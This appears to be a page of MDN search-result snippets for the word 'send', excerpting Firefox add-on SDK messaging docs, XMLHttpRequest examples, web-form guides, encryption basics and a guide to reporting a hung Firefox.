send a message from a content script to a listener in the main add-on code: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value. on() start listening to messages from the main add-on code: self.on("message", function(addonmessage) { // handle the message }); this takes two parameters: the name of the event, and th...
Content Processes - Archive of obsolete content
ver, pass json messages between scripts in different processes. the solution we've come up with is to introduce the notion of content scripts. a content script is a script that is injected into a content process by the main script running in the add-on process. content scripts differ from scripts that are loaded by the page itself in that they are provided with a messaging api that can be used to
send messages back to the add-on script. event emitters the messaging api we use to
send json messages between scripts in different processes is based on the use of event emitters. an event emitter maintains a list of callbacks (or listeners) for one or more named events. each event emitter has several methods: the method on is used to add a listener for an event. conversely, the method removelisten...
...was passed as an argument to the constructor of this event emitter, and made into a method. calling this method causes an event to be emitted on the other event emitter. suppose we have two event emitters in different processes, and we want them to be able to emit events to each other. in this case, we would replace the emit function passed to the constructor of each emitter with a function that
sends a message to the other process. we can then hook up a listener to be called when this message arrives at the other process, which in turn calls the emit function on the other event emitter. the combination of this function and the corresponding listener is referred to as a pipe. content workers a content worker is an object that is used to inject content scripts into a content process, and to ...
... things, this allows us to specify one or more content scripts to be loaded. when a content script is first loaded, the content worker automatically imports a messaging api that allows it to emit messages over a pipe. on the add-on side, this pipe is exposed via the the port property on the worker. in addition to the port property, workers also support the web worker api, which allows scripts to
send messages to each other using the postmessage function. this function uses the same pipe internally, and causes a 'message' event to be emitted on the other side. as explained earlier, firefox doesn't yet use separate processes for tabs or add-ons, so instead, each content script is loaded in a sandbox. sandboxes were explained this article. accessing the dom the global for the content sandbox ...
page-mod - Archive of obsolete content
r add-on's "main.js" can't directly access the state of content scripts you load, but you can communicate between your add-on and its content scripts by exchanging messages. to do this, you'll need to listen to the page-mod's attach event. this event is triggered every time the page-mod's content script is attached to a document. the listener is passed a worker object that your add-on can use to
send and receive messages. for example, the following add-on retrieves the html content of specific tags from documents that match the pattern. the main add-on code
sends the desired tag to the content script, and the content script replies by
sending the html content of all the elements with that tag. /lib/main.js: var tag = "p"; var data = require("sdk/self").data; var pagemod = require("sdk/page...
...= document.getelementsbytagname(tag); for (var i = 0; i < elements.length; i++) { self.port.emit("gotelement", elements[i].innerhtml); } }); when the user loads a document hosted at "mozilla.org": the content script "element-getter.js" is attached to the document and runs. it adds a listener to the getelements message. the attach event is sent to the "main.js" code. its event handler
sends the getelements message to the content script, and then adds a listener to the gotelement message. the content script receives the getelements message, retrieves all elements of that type, and for each element
sends a gotelement message containing the element's innerhtml. the "main.js" code receives each gotelement message and logs the contents. if multiple documents that match the page-mod'...
...ns property: // show.js if (self.options.showoptions) { window.alert(self.options.greeting); var sum = self.options.numbers[0] + self.options.numbers[1]; window.alert(sum); } the values can be any json-serializable value: a string, number, boolean, null, array of json-serializable values, or an object whose property values are themselves json-serializable. this means you can't
send functions, and if the object contains methods they won't be usable. you also can't pass cyclic values. name: contentstylefile type: string,array use this option to load one or more stylesheets into the targeted documents as user stylesheets. each stylesheet is supplied as a separate file under your add-on's "data" directory, and is specified by a url typically constructed using the ur...
request - Archive of obsolete content
l to which the request will be made. can either be a string or an instance of the sdk's url. oncomplete function this function will be called when the request has received a response (or in terms of xhr, when readystate == 4). the function is passed a response object. headers object an unordered collection of name/value pairs representing headers to
send with the request. content string,object the content to
send to the server. if content is a string, it should be url-encoded (use encodeuricomponent). if content is an object, it should be a collection of name/value pairs. nested objects & arrays should encode safely. for get and head requests, the query string (content) will be appended to the url. for post and put re...
...ring, it should be url-encoded (use encodeuricomponent). if content is an object, it should be a collection of name/value pairs. nested objects & arrays should encode safely. for get and head requests, the query string (content) will be appended to the url. for post and put requests, it will be sent as the body of the request. contenttype string the type of content to
send to the server. this explicitly sets the content-type header. the default value is application/x-www-form-urlencoded. overridemimetype string use this string to override the mime type returned by the server in the response's content-type header. you can use this to treat the content as a different mime type, or to force text to be interpreted using a specific character. ...
...e, the request will be sent without cookies or authentication headers. this option sets the mozanon property in the underlying xmlhttprequest object. defaults to false. request the request object is used to make get, head, post, put, or delete network requests. it is constructed with a url to which the request is sent. optionally the user may specify a collection of headers and content to
send alongside the request and a callback which will be executed once the request completes. once a request object has been created a get request can be executed by calling its get() method, a post request by calling its post() method, and so on. when the server completes the request, the request object emits a "complete" event. registered event listeners are passed a response object. each request ...
remote/child - Archive of obsolete content
ame then has a content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events dispatched by the frame. communicating with the parent process to communicate with the parent process, the process, frames, and frame objects in sdk/remote/child have a port object that you can use to receive messages from, and
send messages to, code in the parent. see the documentation for sdk/remote/parent for more details. globals properties process a process object. frames a frames object. process a link to the main process. properties port an event emitter that
sends and receives events from the main process. isremote a boolean property indicating whether this process is remote from the main process or not...
...created in the future. this is a shortcut for enumerating existing frames and then listening for attach events. getframeforwindow finds the frame for a top level dom window. addeventlistener adds an event listener for dom events dispatched to any existing and future frames. removeeventlistener removes an event listener that was previously registered. properties port an event emitter that
sends and receives events from every frame in this process. events attach triggered when a new content frame is opened (for example, the user opened a new tab). the event listener gets a frame object as an argument. at this point you can't access frame's content yet, but you can add event listeners: const { frames } = require("sdk/remote/child"); frames.on("attach", function(frame) { console.
...pturing) adds an event listener for dom events dispatched by this content frame. this can include load and unload events from any content that is loaded in the frame. listeners are automatically removed when this frame is destroyed. removeeventlistener(event, listener, iscapturing) removes an event listener that was previously registered. properties port an event emitter that can be used to
send and receive frame specific events to and from code in the main process. content the top level dom window currently displaying in this frame. istab a boolean property indicating whether this frame displays in one of the application's main browser tabs. events detach event emitted when this frame disconnects from the application. ...
Modifying the Page Hosted by a Tab - Archive of obsolete content
let's rewrite the example above to pass a message from th...
...icon: "./icon-16.png", onclick: function () { tabs.activetab.attach({ contentscriptfile: [self.data.url('first.js'), self.data.url('second.js')] }); } }); communicating with the content scripts your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can
send each other messages. to
send a message from one side to the other,
sender calls port.emit() and receiver listens using port.on(). in the content script, port is a property of the global self object. in the add-on script, tab.attach() returns a worker object containing the port property you use to
send messages to the content script. let's rewrite the example above to pass a message from the add-on to the content script...
...y you use to
send messages to the content script. let's rewrite the example above to pass a message from the add-on to the content script. ...
Promises - Archive of obsolete content
ird-party wrappers for the xmlhttprequest api now support promises out of the box. example direct usage task.spawn(function* () { // make the initial request. let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", dataurl); xhr.responsetype = "json"; xhr.
send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; ...
...nse to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("post", updateurl); xhr.
send(form); }); // use the response of the second request. notifyuser(resp.target.responsetext); }); example using promise-based helper the following example relies on the helper function defined below. task.spawn(function* () { // make the initial request. let xhr = yield request(dataurl, { responsetype: "json" }); let data = xhr.response; // use the response to cons...
...for (let header of object.keys(options.headers || {})) xhr.setrequestheader(header, options.headers[header]); let data = options.data; if (data && object.getprototypeof(data).constructor.name == "object") { options.data = new formdata; for (let key of object.keys(data)) options.data.append(key, data[key]); } xhr.
send(options.data); }); } example usage: task.spawn(function* () { let request = yield request("http://example.com/", { method: "put", mimetype: "application/json", headers: { "x-species": "hobbit" }, data: { foo: new file(path), thing: "stuff" }, responsetype: "json" }); console.log(request.
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
lects without refreshing the page provides a better user experience and bandwidth savings. webmail application the flexibility to easily access and manage all message headers in mail applications (like netscape mail or eudora) is probably one of the useful features when compared with web-based mail applications. in general, when a webmail account has more than a few messages, clicking 'next page'
sends a request to the server. you receive a new page with the next block of message headers. on slow speed connections, this process can be slow and frustrating. with inner browsing, a simple request to retrieve the next set of message headers that replace the currently viewed message headers can dramatically improve user experience. implementing inner-browsing on top of html pages modern browsers ha...
...t is the essence of this technote. the idea is to use iframes only for the communication channel and use the dom and javascript to bind the content with the document in the main working page. data request \________ dynamically create a hidden iframe \_________ content is loaded -> call data binder data binder \_____ load xml||html data from iframe "container" \_____
send content to proper layout components the method presented here separates data request from data binding. this approach allows us to untie from the traditional navigation model. a request to a web server no longer requires a new page to be loaded, in order to update information in a page seamlessly. as a general approach, the main steps to the iframe-based implementation can be represented as foll...
... symbol information. the web page receives updates to its contents but only redraws the stock ticker element information. the code includes the dhtml element. we've separated this sample in two main components following the model. the data loader module and the data binder module. the data loader module is responsible for the requests and retrieves the stock data information from the web. it also
sends an event to the data binder module. the data binder module is responsible for the binding of the data with the html interface. in addition to these components, you will also find the piece of code that is responsible for the dhtml ticker. note that the ticker is a completely separated component. the data binder will put the content in the proper place, so the existing dhtml ticker application is...
Uploading and Downloading Files - Archive of obsolete content
a file object that an extension can construct from file path. the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.
send(formdata); } http put you can also upload a file using an http put operation. this is simpler but it doesn't allow
sending additional data and web servers usually need special configuration to support put operations. function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = functio...
... fetch upload please refer to uploading a file section inside the fetch article. ...
...configuration to support put operations. function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.
send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's
send method. fetch upload please refer to uploading a file section inside the fetch article. downloading files under construction... meanwhile you can read this. ...
Trees - Archive of obsolete content
s supplied from tags placed inside the tree. naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all. let's start by looking at how to create a simple tree with multiple columns using the tree content view. this could be used to create a list of mail messages. ...
... another source, and there won't be any treeitem elements at all. let's start by looking at how to create a simple tree with multiple columns using the tree content view. this could be used to create a list of mail messages. there might be multiple columns, such as the
sender and the subject. ...
..., and there won't be any treeitem elements at all. let's start by looking at how to create a simple tree with multiple columns using the tree content view. this could be used to create a list of mail messages. there might be multiple columns, such as the
sender and the subject. ...
XUL Questions and Answers - Archive of obsolete content
that error is from a security check that has been put up to safeguard against cross-site-scripting attacks. a scheme is in development to allow servers to open up their site for cross-site access, but that's not yet done. hidechrome="true" doesn’t work on a mac? unfortunately, no simple solution to this was posted. a workaround is to open the content in a new window using "window.open" and
send titlebar=”no” as one of the flags in the 3rd argument. is it possible to have checkbox support for multi column lists? the current issue is a person exploring if it is possible to have checkbox support for multi column lists. the following is the code they wrote: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="test-window" title="check li...
...this. how to use dynamic objects in toolbar there may be a few ways to implement this: by building your menupopup from an rdf datasource, which could be generated on the server. by getting data (e.g. json string) from the server, parsing it on client, and building the menupopup using dom methods (such as document.createelementns). by getting data as xml from the server. (server can just
send the xul code to use for popup - alternatively it can
send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item background color with javascript? to set the background color you need to set the property for the cell/row and not for the item. an example of this is: var tree = doc...
...tting? see http://www.xulplanet.com/references/...ef_iframe.html, the first user note at the bottom. change this line var settings = printutils.getprintsettings(); to this var settings = printutils.getprintsettings().clone(); settings.docurl = " "; // suppress url on printout other options you can modify are documented here: http://www.xulplanet.com/references/...tsettings.html how can i
send xml/xul document fragment to the server instead of using get or post variables? you can
send documents using
send(document), so you should be able to insert the fragment into an empty document. how can i manage scrolling outside the browser? this problem can be solved by capturing the focus events and giving the focus to another xul element or capturing and canceling the keypress events. ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
is by far the simplest approach. in some cases, however, you may want to use the mozilla build system to create your application. the only obvious reason for this would be if you need to implement part of your application in c++, as described in the introduction to the now classic creating custom firefox extensions with the mozilla build system. ...
...if you are actively modifying xulrunner as part of your development, however, you'll have to bite the bullet. for example, you may be fixing bugs in xulrunner, applying patches from bugzilla that aren't yet checked into the main repository or making your own changes to deploy as part of a customized xulrunner build. ...
...he suffered so that we don't have to. finally, ben turner and the songbird folks were perhaps the first to write any documentation about building xulrunner apps with the mozilla build system, something i know dave took advantage of. ...
Using SOAP in XULRunner 1.9 - Archive of obsolete content
ce'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.
sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: so...
... var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < before
send: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.p...
... { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.
send(content); ...
Adobe Flash - Archive of obsolete content
mation (the grey text box below). example 2: javascript to flash communication note: javascript to flash communication may not work with flash player versions older than version 8 if the user has installed multiple mozilla based browsers onto the same machine (see bug 284057 and bug 233533). enter some text in the html form field below and then click outside the field, or hit the enter key, to
send the text to the flash movie below: the example is missing. example 2 shows the use of macromedia flash's setvariable method being invoked from javascript. in general, to invoke a macromedia-defined method on a flash animation in netscape gecko browsers: use dom methods to get a handle to the html element that spawns the plugin. this may be the embed element or the object element's name or i...
... the embed element or the object element's name or id attribute respectively. treat the handle to the html element as a handle to the actual flash plugin and invoke the published methods on it. the illustrative code snippet below shows this idea: <object id="myflash" ..... > <param name="movie" value="somefile.swf" /> .... var myflash = document.getelementbyid("myflash").setvariable("myvar",
sendtext); a more expanded code example that shows how example 2 was created is shown in this source listing. fscommands: accessing javascript from flash note: fscommand may not work with flash player versions older than version 8 if the user has installed multiple mozilla based browsers onto the same machine (see bug 32048 and bug 233533). in example 2, a javascript function first obtained a h...
...the source listing flash-to-js.html shows a source for this example. see macromedia's actionscript dictionary for pointers on invoking fscommands from within the flash animation code. see also macromedia flash developer documentation scripting the flash player plugin communication between jav...
Encryption and Decryption - Archive of obsolete content
ting with the other as long as the decrypted messages continue to make sense. symmetric-key encryption is effective only if the symmetric key is kept secret by the two parties involved. if anyone else discovers the key, it affects both confidentiality and authentication. a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and
send them as if they came from one of the two parties who were originally using the key. symmetric-key encryption plays an important role in the ssl protocol, which is widely used for authentication, tamper detection, and encryption over tcp/ip networks. ssl also uses techniques of public-key encryption, which is described in the next section. public-key encryption the most commonly used implementa...
...ncrypt data. each public key is published, and the corresponding private key is kept secret. data encrypted with your public key can be decrypted only with your private key. figure 2 shows a simplified view of the way public-key encryption works. the scheme shown in figure 2 lets you freely distribute a public key, and only you will be able to read data encrypted using this key. ...
...this is the approach used by the ssl protocol. as it happens, the reverse of the scheme shown in figure 2 also works: data encrypted with your private key can be decrypted only with your public key. ...
Writing JavaScript for XHTML - Archive of obsolete content
ely to manipulate your document. however, it can be used for data, and be converted into a string which can then be converted into a dom object. dom objects can similarly be converted into strings which can then be converted into e4x. finally: content negotiation now, how do we decide, when to serve xhtml as xml? we can do this on server side by evaluating the http request header. every browser
sends with its request a list of mime types it understands, as part of the http content negotiation mechanism. so if the browser tells our server, that it can handle xhtml as xml, that is, the accept: field in the http head contains application/xhtml+xml somewhere, we are safe to
send the content as xml. in php, for example, you would write something like this: if( strpos( $_server['http_accept'], "...
...ept: field in the http head contains application/xhtml+xml somewhere, we are safe to
send the content as xml. in php, for example, you would write something like this: if( strpos( $_server['http_accept'], "application/xhtml+xml" ) ) { header( "content-type: application/xhtml+xml" ); echo '<?xml version="1.0" ?>'."\n"; } else { header( "content-type: text/html" ); } this distinction also
sends the xml declaration, which is strongly recommended, when the document is an xml file. if the content is sent as html, an xml declaration would break ie's doctype switch, so we don't want it there. ...
...ation/xhtml+xml" ); echo '<?xml version="1.0" ?>'."\n"; } else { header( "content-type: text/html" ); } this distinction also
sends the xml declaration, which is strongly recommended, when the document is an xml file. if the content is sent as html, an xml declaration would break ie's doctype switch, so we don't want it there. ...
Game distribution - Game development
on. instant updates you don't have to wait several days to have your game's code updated. if your user finds a bug, you can quickly fix it, update the system and refresh the game on your server to provide players with the updated code almost instantly. direct link distribution and instant play you don't have to tell people to search for your game in an app store with html5 games. you can just
send them a direct url to access the game, which they can then click to play the game right away without the need to use third party plugins or download and install a large package. bear in mind that downloading the game might still take a bit of time depending on the size of the game and your network speed. in any case, it's a lot easier to promote the game if you can drive traffic directly where you...
...r a hosting provider as it's possible to host games on github pages. you'll get free hosting, version control and possible contributors if your project is interesting enough. publishers and portals as the name may suggest, publishers can handle the publishing of your game for you. whether you should go that way or not depends on what your plan is for having your game distributed: do you want to
send it wherever possible, or do you want to restrict its presence to those who've bought an exclusive license? it's up to you. consider various options, experiment and conclude. publishers will be explained in more detail in the monetization article. there are also independent portals collecting interesting games like html5games.com, gamearter.com, marketjs.com, gameflare, gamedistribution.com or po...
...ible, or do you want to restrict its presence to those who've bought an exclusive license? it's up to you. consider various options, experiment and conclude. publishers will be explained in more detail in the monetization article. there are also independent portals collecting interesting games like html5games.com, gamearter.com, marketjs.com, gameflare, gamedistribution.com or poki where you can
send your game in and it will get some natural promotion because of the big traffic those sites attract. some of these take your files and host them on their server, whereas others only link to your website or embed your game on their site. such exposure may just provide promotion for your game, or if you have adverts shown beside your game (or other money making options) it may also provide monetizat...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
// fix: we test for file extensions as well in case file:// doesn't return content type (as seems to be the case); can some other tool be uesd in ff (or ie) to detect encoding of local file? probably just need bom test since other encodings must be specified var patternxml = /\.(svg|xml|xul|rdf|xhtml)$/; ...
... case null: case 'xml': responsetype = 'responsexml'; break; default: alert('xinclude element contains an invalid "parse" attribute value'); return false; break; } request.
send(null); if((request.status === 200 || request.status === 0) && request[responsetype] !== null) { response = request[responsetype]; if (responsetype === 'responsexml') { // apply xpointer (only xpath1() subset is supported) var responsenodes; if (x...
... request2.overridemimetype('text/plain; charset='+encodingtype); request2.open('get', href, false); request2.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request2.setrequestheader('cache-control', 'no-cache'); request2.
send(null); response = request2[responsetype]; // update the response for processing } // replace xinclude with the response as text var textnode = docu.createtextnode(response); xincludeparent.replacechild(textnode, xinclude); }...
The HTML5 input types - Learn web development
is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server. but it should not be considered an exhaustive security measure! your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because client-side validation is too easy to turn off, so malicious users can still easily
send bad data through to your server. read website security for an idea of what could happen; implementing server-side validation is somewhat beyond the scope of this module, but you should bear it in mind. note that a@b is a valid email address according to the default provided constraints. this is because the email input type allows intranet email addresses by default. to implement different valida...
...ouped together due to their very specific behaviors, but which are still essential to know about. we cover those in the next article. ...
...ssential to know about. we cover those in the next article. ...
Other form controls - Learn web development
vel) so they are less likely to be confused for actual options. if an <option> element has an explicit value attribute set on it, that value is sent when the form is submitted with that option selected. if the value attribute is omitted, as with the examples above, the content of the <option> element is used as the value. so value attributes are not needed, but you might find a reason to want to
send a shortened or different value to the server than what is visually shown in the select box. for example: <select id="simple" name="simple"> <option value="banana">big, beautiful yellow banana</option> <option value="cherry">succulent, juicy cherry</option> <option value="lemon">sharp, powerful lemon</option> </select> by default, the height of the select box is enough to display a single...
...p on details. now that you have a grasp of the html behind the different available form controls, we'll take a look at styling them. ...
...available form controls, we'll take a look at styling them. ...
Styling web forms - Learn web development
organizing your assets this is where the fun begins! before we start coding, we need three additional assets: the postcard background — download this image and save it in the same directory as your working html file. a typewriter font: the "secret typewriter" font from fontsquirrel.com — download the ...
...to style them using css. in the next article, we will see how to handle form widgets which fall into the "bad" and "ugly" categories. ...
...rm widgets which fall into the "bad" and "ugly" categories. ...
UI pseudo-classes - Learn web development
n sent to the server these two states can be targeted using :enabled and :disabled. why are disabled inputs useful? well, sometimes if some data does not apply to a certain user, you might not even want to submit that data when they submit the form. a classic example is a shipping form — commonly you'll get asked if you want to use the same address for billing and shipping; if so, you can just
send a single address to the server, and might as well just disable the billing address fields. let's have a look at an example that does just this. first of all, the html is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and off. the billing address fields are disabled by default. <form> <fieldset id="shipping"> <legend>shipping address</legen...
...ep playing with them, and create some fun form styles! next up, we'll move on to something different — client-side form validation. ...
... on to something different — client-side form validation. ...
Web forms — Working with user data - Learn web development
styling tasks. advanced form styling here we look at some more advanced form styling techniques that need to be used when trying to deal with some of the more difficult-to-style form elements. ui pseudo-classes an introduction to the ui pseudo-classes enabling html form controls to be targeted based on their current state. ...
...
sending data is not enough — we also need to make sure that the data users enter into forms is in the correct format to process it successfully, and that it won't break our applications. we also want to help our users to fill out our forms correctly and not get frustrated when trying to use our apps. form validation helps us achieve these goals — this article tells you what you need to know.
sending form data this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there? we also look at some of the security concerns associated with
sending form data. advanced articles the following articles aren't essential to the learning pathway, but they'll prove interesting and useful when you've mastered the above techni...
...want to know more. how to build custom form controls you'll come across some cases where the native form widgets just don't provide what you need, e.g. because of styling or functionality. in such cases, you may need to build your own form widget out of raw html. this article explains how you'd do this and the considerations you need to be aware of when doing so, with a practical case study.
sending forms through javascript this article looks at ways to use a form to assemble an http request and
send it via custom javascript, rather than standard form submission. it also looks at why you'd want to do this, and the implications of doing so. (see also using formdata objects.) css property compatibility table for form controls this last article provides a handy reference allowing you to l...
Index - Learn web development
cle how to structure an html form. 322 other form controls beginner, controls, example, forms, guide, html, web, widgets as you'll have seen in the last few articles, there are a lot of different types of available form element. you don't need to remember all of these details at once, and can return to these articles as often as you like to check up on details. 323
sending form data beginner, codingscripting, files, forms, guide, html, http, headers, security, web as we'd alluded to above,
sending form data is easy, but securing an application can be tricky. just remember that a front-end developer is not the one who should define the security model of the data.it's possible to perform client-side form validation, but the server can't trust this valida...
...this article explores such approaches. ...
...ld define the security model of the data.it's possible to perform client-side form validation, but the server can't trust this validation because it has no way to truly know what has really happened on the client-side. 324
sending forms through javascript advanced, example, forms, forms guide, guide, html, html forms, javascript, learn, security, web, web forms html forms can
send an http request declaratively. but forms can also prepare an http request to
send via javascript, for example via xmlhttprequest. this article explores such approaches. 325 styling web forms beginner, css, example, forms, guide, html, learn, web as you can see, as long as we want to build forms with just text fields and buttons, it's easy to style them using css. in the next ...
Introduction to web APIs - Learn web development
gram channels on your website, in addition to providing support for bots. the youtube api, which allows you to embed youtube videos on your site, search youtube, build playlists, and more. the pinterest api provides tools to manage pinterest boards and pins to include them in your website. the twilio api, which provides a framework for building voice and video call functionality into your app,
sending sms/mms from your apps, and more. the mastodon api enables you to manipulate features of the mastodon social network programmatically. note: you can find information on a lot more 3rd party apis at the programmable web api directory. how do apis work? different javascript apis work in slightly different ways, but generally, they have common features and similar themes to how they work.
...d event is fired when a response has been successfully returned containing the requested resource, and it is now available. the following code provides a simple example of how this would be used: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.responsetype = 'json'; request.
send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also). the first five lines specify the location of the resource we want to fetch, create a new instance of a request object using the xmlhttprequest() constructor, open an http get req...
...); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also). the first five lines specify the location of the resource we want to fetch, create a new instance of a request object using the xmlhttprequest() constructor, open an http get request to retrieve the specified resource, specify that the response should be sent in json format, then
send the request. the onload handler function then specifies what we do with the response. we know the response will be successfully returned and available after the load event has fired (unless an error occurred), so we save the response containing the returned json in the superheroes variable, then pass it to two different functions for further processing. they have additional security mechanisms ...
Limitations of chrome scripts
ipt. for most topics you need to register observers in the chrome process. however, you must listen to content-document-global-created and document-element-inserted in a frame script. observers for these topics get content objects as the asubject argument to observe(), so notifications are not sent to the chrome process. there is a shim that will forward these two topics to the chrome process,
sending cpows as the asubject argument. http requests you can't observe http requests in the content process. if you do, you'll get an error. if you do so in the chrome process, it will mostly work. the subject for the observer notification will be an nsihttpchannel as you would expect. a common pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window...
...ements and sets up listeners in the content process, relaying the result back to the chrome process. the event object itself is relayed to the chrome process as a cpow. to make the shim unnecessary: register event listeners on the global object inside a frame script. for example: addeventlistener("load", handler, true) // for example if you need to contact the chrome process when that happens,
send it a message. sandboxes you can create sandboxes in the chrome or the content process. sandboxes are often used as a safe way to manipulate web content, and if that's your goal, create the sandbox in the content process. there is a shim for sandboxes: if you make a sandbox in the chrome process and give it content principals (by passing a cpow as the first argument to components.utils.sa...
...in global state. in multiprocess firefox, a jsm loaded into one process does not share any state with the same jsm loaded into a different process: so you can't use a jsm to share state between the chrome and content processes. if an add-on wants to use a jsm to share state in this way, it's best to load the jsm in the chrome process, and have frame scripts store and access the jsm's state by
sending messages to the chrome process using the message manager. nsiprotocolhandler in multiprocess firefox, code which registers a custom protocol using nsiprotocolhandler must register the custom protocol in the child content process. if the custom protocol is registered only in the chrome process, no iframes or tabs will be able to load any resource from the custom procotol. the solution...
Process scripts
ocesses: // chrome code let ppmm = cc["@mozilla.org/parentprocessmessagemanager;1"] .getservice(ci.nsiprocessscriptloader); ppmm.loadprocessscript("chrome://whatever/process-script.js", true); ppmm.addmessagelistener("hello", function(msg) { ... ...
...this example also figures out whether it is running in the chrome or in a content process by looking at the process type in services.appinfo. ...
...ures out whether it is running in the chrome or in a content process by looking at the process type in services.appinfo. in just about every respect, using process scripts is like using frame scripts: you can pass the allowdelayedload to loadprocessscript(). if you do, you must call removedelayedprocessscript() when your extension is disabled or removed the message-passing apis are the same:
sendasyncmessage() is available in both directions, while
sendsyncmessage() is available from content to chrome only process scripts are system-privileged, and have access to the components object. however, process scripts are subject to the same kinds of limitations as frame scripts (for example, no file system access). process scripts stay loaded until their host process is closed. the environmen...
How Mozilla determines MIME Types
i is loaded, mozilla must find out its mime type. the several ways how this happens are described in this document. content-type "hints" mozilla has a concept of "content-type hints". this means that, for example, if mozilla encounters a <link type="text/css" rel="stylesheet" href="..."> element, a type of text/css will be assumed. this is, however, overridden by the actual mime type the server
sends (if any). (for this specific example, the server override only happens in standards-compliant mode. see mozilla's quirks mode or web author faq). similar handling happens for <a href="..." type="foo/bar">, starting in mozilla 1.6alpha. http for http uris mozilla usually gets a mime type sent from the server, and uses it. contrary to internet explorer's mime type guessing, mozilla will general...
... from the server, and uses it. contrary to internet explorer's mime type guessing, mozilla will generally not sniff the type of the document. however, starting in mozilla 1.7alpha, mozilla does do content sniffing, like this: when the content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not
send a content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes. text bytes are 9-13, 27, and 31-255. when encountering a non-text byte, the helper app dialog will be shown, showing the mime type corresponding to the extension of the file. also, for images loaded via <img src>, mozilla's image library will do content sniffing (never extension sniffing) ...
...of data it gets and check for non-text bytes. text bytes are 9-13, 27, and 31-255. when encountering a non-text byte, the helper app dialog will be shown, showing the mime type corresponding to the extension of the file. also, for images loaded via <img src>, mozilla's image library will do content sniffing (never extension sniffing) to find out the real type of the image. if the server did not
send a content-type header, mozilla uses the unknown decoder to find a mime type. file uris for file: uris, mozilla will ask the externalhelperappservice for a mime type. ftp like http uris without a mime type, ftp uris go through the unknown decoder. unknown decoder located at netwerk/streamconv/converters/nsunknowndecoder.cpp, the interesting part starts at line 287, the ssnifferentries array ...
How to Report a Hung Firefox
y which will inject a crash into firefox which will trigger the crash reporter: download crashfirefox.exe here (source code). running this tool will search for firefox.exe and inject crashing code into it. the tool also has command-line options to kill processes with other names or by process id. run the crashfirefox.exe tool. the firefox crash report ui should appear. please check the box to
send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. the crash report should look something like this report, which is an example of bug 1132241. create a new bug report at bugzilla.mozilla.org using this link. linux and mac on linux and mac (firefox >=27),
sending sigabrt to a process will trigger the crash reporter. you can use any p...
...type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. ...
